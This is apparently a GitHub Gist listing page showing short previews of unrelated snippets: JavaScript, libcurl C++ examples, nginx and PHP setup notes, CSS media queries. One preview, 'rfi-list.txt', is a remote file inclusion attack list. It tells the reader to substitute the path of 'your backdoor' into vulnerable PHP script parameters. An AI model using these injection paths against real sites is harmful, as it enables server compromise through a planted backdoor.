Skip to content

Instantly share code, notes, and snippets.

View Gonzalo2310's full-sized avatar
🏠
Working from home

Gonzalo Nandez Gonzalo2310

🏠
Working from home
View GitHub Profile
function humanize(num){
var ones = ['', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine',
'ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen',
'seventeen', 'eighteen', 'nineteen'];
var tens = ['', '', 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty',
'ninety'];
var numString = num.toString();
if (num < 0) throw new Error('Negative numbers are not supported.');
@alghanmi
alghanmi / curl_example.cpp
Created May 5, 2014 20:12
cURL C++ Example
#include <iostream>
#include <string>
#include <curl/curl.h>
static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
@tsolar
tsolar / laravel-subdirectory.conf
Last active February 27, 2024 03:36
Laravel in subdirectory nginx example
server {
client_body_in_file_only clean;
client_body_buffer_size 32K;
client_max_body_size 300M;
sendfile on;
send_timeout 300s;
# Port that the web server will listen on.
#listen 80;
@FLamparski
FLamparski / index.html
Created September 4, 2014 20:13
Reactivity in vanilla JS? Yes you can!
<!DOCTYPE html>
<html>
<head>
<title>Object.observe</title>
</head>
<body>
<h1 reactive>Title here</h1>
<p reactive>Text here</p>
<hr />
<p><b>Hey!</b> Open up the console and change the <tt>title</tt>
@connormanning
connormanning / curl_jsoncpp_example.cpp
Last active August 11, 2022 04:35
Curl HTTP GET and JsonCpp parsing - basic functionality
#include <cstdint>
#include <iostream>
#include <memory>
#include <string>
#include <curl/curl.h>
#include <json/json.h>
namespace
{
@whoshuu
whoshuu / curlget.cpp
Created March 31, 2015 06:44
Example libcurl GET request
#include <curl/curl.h>
#include <string>
size_t writeFunction(void *ptr, size_t size, size_t nmemb, std::string* data) {
data->append((char*) ptr, size * nmemb);
return size * nmemb;
}
int main(int argc, char** argv) {
auto curl = curl_easy_init();
@GoldenEra
GoldenEra / functions.php
Created May 5, 2015 04:24
php:extract zip and rar file
/**
* extract rar or zip file
*
* @since [1.0]
* @author Richard
* @date 2015-05-05
*
* @param [string] $file_path ["D:\file\path\a.rar"]
* @param [string] $to_path ["D:\extract\to\path"]
* @return [boolean]
@gokulkrishh
gokulkrishh / media-query.css
Last active July 16, 2024 10:52
CSS Media Queries for Desktop, Tablet, Mobile.
/*
##Device = Desktops
##Screen = 1281px to higher resolution desktops
*/
@media (min-width: 1281px) {
/* CSS */
@mubix
mubix / rfi-list.txt
Created October 31, 2015 16:27
RFI List that used to be hosted: http://ha.ckers.org/weird/rfi-locations.dat
# Compiled by RSnake 02/01/2010 Mostly from milw0rm osvdb.org and elsewhere.
# Change XXpathXX to the path of your backdoor. Note that you may need to
# try it against every directory on the target and because of how this was
# culled you may need to add a question mark to your own XXpathXX URL:
# Eg: XXpathXX => http://www.example.com/hax.txt?
/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=XXpathXX?
/123flashchat.php?e107path=XXpathXX
/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX?
@rahilwazir
rahilwazir / php7-fpm_xdebug_nginx.md
Last active September 22, 2021 19:32
Quick guide to setup Nginx with PHP7-FPM and XDebug

PHP7

  • Ubuntu 16.04+
$ sudo add-apt-repository ppa:ondrej/php
$ sudo apt update
$ sudo apt install nginx php7.1-fpm php7.1-cli php7.1-common php7.1-json php7.1-opcache php7.1-mysql php7.1-phpdbg php7.1-mbstring php7.1-gd php7.1-imap php7.1-ldap php7.1-pgsql php7.1-pspell php7.1-recode php7.1-soap php7.1-tidy php7.1-dev php7.1-intl php7.1-curl php7.1-zip php7.1-xml php-xdebug